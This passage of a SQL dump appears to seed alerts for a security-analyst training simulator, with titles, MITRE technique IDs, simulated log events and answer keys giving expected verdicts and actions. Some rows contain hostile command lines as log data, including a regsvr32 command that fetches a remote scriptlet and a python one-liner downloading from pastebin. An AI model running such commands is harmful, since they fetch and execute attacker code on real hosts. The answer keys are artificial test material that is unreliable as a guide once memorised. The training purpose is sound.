urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.389Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:23:45Z\\\",\\\"event_type\\\":\\\"lambda_invocation\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"aws_lambda_user\\\",\\\"hostname\\\":\\\"lambda-instance-01\\\",\\\"command_line\\\":\\\"python3 -c \'import urllib; urllib.request.urlopen(\\\\\\\"https://pastebin.com/raw/abcd1234\\\\\\\")\'\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(744, 'Azure AD Privilege Escalation Attempt', 'high', 'Microsoft Sentinel', 'Anomalous activity detected with Azure AD privileges being elevated using a compromised account. The activity was followed by suspicious PowerShell commands.', 'Lateral Movement', 'T1078', 1, 'investigating', 140, '{\"timestamp\":\"2026-01-11T02:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"compromised_user\",\"hostname\":\"win-server-2026\",\"command_line\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\"}', '2026-01-10 15:01:29', '2026-02-24 04:20:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Privilege escalation detected with encoded PowerShell indicative of malicious intent.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"win-server-2026\\\",\\\"command_line\\\":\\\"powershell.exe -Enc JABjAGgAbwBjAGsAZQBBAHIAZQBBAE4AYQBsAHkAcwBpAHMA\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(745, 'Potential Data Exfiltration via Exposed S3 Bucket', 'high', 'AWS CloudTrail', 'Sensitive data was accessed from an exposed S3 bucket by a foreign IP, suggesting data exfiltration.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:40:12Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.0.2.44\",\"username\":\"s3_data_user\",\"hostname\":\"s3-bucket-123\",\"request_body\":\"GET /sensitive-data.csv HTTP/1.1\"}', '2026-01-10 08:53:05', '2026-03-14 14:54:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized data access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data.csv HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Access to sensitive data file without authorization\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"review_bucket_permissions\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"IP involved in accessing exposed S3 bucket with sensitive data, indicative of data exfiltration.\"}', 'Expert', 'CLOUD', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.391Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:40:12Z\\\",\\\"event_type\\\":\\\"data_access\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.0.2.44\\\",\\\"username\\\":\\\"s3_data_user\\\",\\\"hostname\\\":\\\"s3-bucket-123\\\",\\\"request_body\\\":\\\"GET /sensitive-data.csv HTTP/1.1\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(746, 'False Positive: Legitimate User Mistaken for Brute Force Attacker', 'medium', 'Splunk', 'Multiple login failures detected from an internal IP address. Investigation revealed a legitimate user mistyping their password.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:25:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"10.0.1.15\",\"username\":\"jane.doe\",\"hostname\":\"corp-laptop-01\",\"failed_attempts\":12}', '2026-01-09 22:57:28', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, no external threat detected\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate corporate user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login failures occurred due to user error; no malicious activity detected.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:31:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:30:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:29:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-02-01T20:28:22.392Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:25:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.25\\\",\\\"dst_ip\\\":\\\"10.0.1.15\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"corp-laptop-01\\\",\\\"failed_attempts\\\":12}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(747, 'Lateral Movement Detected Using LOLBins within Azure Environment', 'critical', 'Azure Sentinel', 'Suspicious regsvr32.exe execution detected on multiple internal hosts indicating potential lateral movement using LOLBins within Azure VMs.', 'Lateral Movement', 'T1218', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.8\",\"username\":\"jdoe\",\"hostname\":\"AzureVM01\",\"command_line\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\"}', '2026-01-09 22:34:33', '2026-02-16 18:05:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used for executing remote script leveraging regsvr32\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of regsvr32 to execute a remote script is indicative of an attempt to move laterally within the network.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(748, 'Exposed S3 Bucket Detected, Potential Data Exposure', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, which could lead to unauthorized data exposure.', 'Data Exfiltration', 'T1530', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"AWS\",\"username\":\"aws-user\",\"hostname\":\"N/A\",\"request_body\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\"}', '2026-01-11 12:33:53', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP previously reported for suspicious cloud activity\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"malicious\",\"details\":\"Bucket policy allows public access to all objects\"}}],\"expected_actions\":[\"block_ip\",\"close_bucket_policy\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public access to S3 buckets can expose sensitive data. Immediate action required to close access.\"}', 'Advanced', 'DLP', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
